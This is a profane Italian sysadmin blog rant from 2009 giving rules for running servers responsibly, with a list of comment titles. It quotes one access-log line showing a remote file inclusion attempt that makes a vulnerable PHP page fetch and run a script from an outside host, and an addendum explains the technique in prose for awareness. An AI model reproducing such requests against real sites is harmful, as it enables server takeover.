Commenti & Opinioni |
Home Page | Commenti | Articoli | Faq | Documenti | Ricerca | Archivio | Storie dalla Sala Macchine | Contribuire | Imposta lingua:en it | Login/Register
Allora, dopo aver madonnato per parecchio tempo su servers che paiono installati e mantenuti da Attila l'Unno ed aver visto i problemi che i vari phprogrammatroti distribuiscono un po' troppo allegramente, ho deciso di mettere insieme queste dieci regolette. Probabilmente questo pistolotto verra' "espanso" in un articolo serio, ma stamani, dopo aver visto per la bazillionesima volta una cosa tipo
200.40.86.142 - - [22/Oct/2009:18:29:21 +0200] "GET /page/tools/phpsecurityadmin/include=http://www.thelampshade.com/store//images/attributes/id.txt%0D??
mi sono leggermente stufato.
Ovviamente ho mandato un paio di mails agli amministratori di quel cacchio di sito ed al di loro provider, ma non e' che mi aspetti molto.
Ed hanno pure il coraggio di chiamarlo "phpsecurityadmin"! PHPBruttaMerdaAdmin direi io...
Ecco quindi dieci semplici regolette, chiamiamole "le regole del
bravo sysadmin non-completamente-cerebroleso".
E prima che me lo domandi, "localhost", "pippo", "www" e "c1p8" NON SONO 'nomi decenti'. Soprattutto il primo e l'ultimo, che ti credi di essere spiritoso?
Qui' si potrebbe fare lo stesso discorso precedente, ma con una aggiunta: dare ai vari picci' dell'azienda lo stesso nome dell'utente puo' aver senso ma solo se tale picci' non esce mai dall'azienda o se l'utente ha uno ed un solo computer. Dare ai picci nomi come 'RKZ90876-3' ha l'ovvio problema che nessuno sa quale computer e' quello.
Che c'e' gia' troppo spam in giro per il mondo, perche' vuoi aggiungerne di piu'?
E se non sai che cosa e' un FQDN forse non dovresti gestire un server di posta. E prima che me lo domandi: 'localhost.localdomain' non e' un fqdn valido!
Questo non dovrebbe richiedere una spiegazione, ma c'e' un sacco di gente che
fornisce questo tipo di "funzionalita'" nelle sue phporcherie
web-applicazioni senza pensarci troppo, cosi' tu ti ritrovi il server di posta
blacklistato senza capire il perche'.
Anche questo non dovrebbe richiedere una spiegazione, ma e' un po' troppo tempo che trovo un po' troppi messaggi come quello riportato sopra nei miei log. E questo ci porta direttamente alla "regola" successiva...
Se vedi 10.000 richieste per un file .txt o .asp che non dovrebbe esistere comincia a preoccuparti, cosi' come se vedi 3000 mail nella coda. E se non sei in grado di capire i messaggi di log forse non dovresti fare il sysadmin.
Che sono obbligatori e specificati nelle RFC! E per 'gestire correttamente' non intendo 'redirigere verso /dev/null'. Chiaro?
Che ne ho piene le balle di vedere coglioni che cercano di eseguire roba da siti i cui sysadmin sono allo stesso livello dei nematodi
E per finire, ma non meno importante di tutto il resto...
E non cliccare 'cancella' o rispondere 'sonasegaio'!
ATTENZIONE: non cominciate con i commenti "ma ce l'hai con il php" e "php e' un linguaggio semplice e quindi...". NON ME NE FREGA UN BELINO! Chissa' perche' su 20 applicazioni-cacca 19 sono fatte in php, quindi per estensione io le considero tutte delle merdacce. Sono sicuro che, da qualche parte, ben nascosti, esistono dei programmatori php che non fanno di queste schifezze, ma io preferisco l'approccio "Guantanamo bay": tutte le applicazioni in php sono delle merde finche' non dimostrano il contrario. E se siete curiosi, la 20a applicazione-merda e' la nostra interfaccia in Java.
Addendum
Allora, visto che un sacco di gente ha maillato/commentato riguardo quel frammento di log che ho pubblicato e mi pare che in tanti abbiano dei dubbi vediamo di fare un po' di luce.
Quel frammento di log rappresenta un tentativo di utilizzo di cio' che e' comunemente chiamato remote include vulnerability. Lo scopo della cosa e' abbastanza semplice: ottenere l'esecuzione su di un server di uno script specifico per ottenere informazioni e/o accesso al server stesso.
In alcuni casi il malfattore (cracker) ha la possibilita' di uploadare lo script direttamente sul sito "bersaglio", sfruttando servizi esistenti (ftp con user/password beote) o bachi di programmi/web applicazioni che consentono l'upload di cose senza verificare (come ho descritto nella mia storia Secondo Round, nella quale io interpretavo la parte del cracker). In altri casi e' possibile usare una funzionalita' che PHP fornisce a piene mani: quella di includere uno script dentro ad un altro script ed eseguirlo. Tutto bene se l'inclusione non puo' essere 'manipolata', ma in moltissimi casi pare che il programmatore abbia deciso di "fidarsi" dell'utente e consente di specificare il file da includere nell'URL. Ed accetta anche un URL come "file da includere".
Quindi il gioco e': mettere il proprio script su un server da qualche parte, passare l'URL di tale script all'applicazione vulnerabile e vedere il proprio script eseguito sulla macchina "bersaglio".
Ovviamente cosa lo script puo' fare dipende dai diritti che sono assegnati al processo-web-server, ma qualche cosa mi dice che chi consente ad applicazioni del genere di funzionare sulla propria macchina senza applicare alcuna restrizione di accesso non ha molti problemi a dare tutti i diritti possibili ed immaginabili al proprio web-server.
Davide Bianchi
26/10/2009 15:59
I commenti sono aggiunti quando e soprattutto se ho il tempo di guardarli e dopo aver eliminato le cagate, spam, tentativi di phishing et similia. Quindi non trattenete il respiro.
Parole sante Di Eremita Solitario postato il 23/10/2009 09:52
@ Eremita Solitario Di Anonymous coward postato il 23/10/2009 10:40
@ Eremita Solitario Di Emanuele Graziano postato il 27/10/2009 15:22
ok non comincio Di argaar postato il 23/10/2009 10:24
La differenza... Di Davide Inglima postato il 23/10/2009 11:03
Nomi Di Luigi postato il 23/10/2009 13:05
@ Luigi Di Davide Bianchi postato il 23/10/2009 13:12
@ Davide Bianchi Di Luigi postato il 23/10/2009 14:37
che perle... Di Luca Benelli postato il 23/10/2009 13:41
@ Luca Benelli Di R. Damon postato il 24/10/2009 21:05
M _ _ _ _ IA Di Mauro Pietrobelli postato il 23/10/2009 14:33
postmaster Di Aleritty postato il 23/10/2009 15:47
the good boy Di THE Anonymous coward postato il 24/10/2009 10:06
@ THE Anonymous coward Di Davide Bianchi postato il 24/10/2009 11:21
Ok D. Di Il codardo senza nome postato il 24/10/2009 12:08
Mi sa che sono un caprone.. Di Rick postato il 24/10/2009 17:16
@ Rick Di beppe postato il 24/10/2009 19:42
e se e' un webserver... Di R.Damon postato il 24/10/2009 20:48
scrib scrib Di Simone postato il 26/10/2009 09:14
Vediamo se ho capito che ha quel log... Di Sabrina postato il 26/10/2009 15:03
@ Sabrina Di Davide Bianchi postato il 26/10/2009 16:19
Anche in questo caso l'errore rimane tra sedia e tastiera Di Gama postato il 27/10/2009 08:48
@ Gama Di Davide Bianchi postato il 27/10/2009 09:05
@ Davide Bianchi Di Adriano postato il 27/10/2009 13:46
La sicurezza e` sempre l'ultimo dei problemi Di Kurgan postato il 27/10/2009 10:38
@ Kurgan Di Alberto postato il 27/10/2009 22:50
uploadare? Di Anonymous coward postato il 01/11/2009 23:44
Il presente sito e' frutto del sudore della mia fronte (e delle mie dita), se siete interessati a ripubblicare uno degli articoli, documenti o qualunque altra cosa presente in questo sito per cortesia datemene comunicazione (o all'autore dell'articolo se non sono io), cosi' il giorno che faccio delle aggiunte potro' avvisarvi e magari mandarvi il testo aggiornato.
Questo sito era composto con VIM, ora e' composto con VIM ed il famosissimo CMS FdT.
Questo sito non e' ottimizzato per la visione con nessun browser particolare, ne' richiede l'uso di font particolari o risoluzioni speciali. Siete liberi di vederlo come vi pare e piace, o come disse qualcuno: "Finalmente uno dei POCHI siti che ancora funzionano con IE5 dentro Windows 3.1".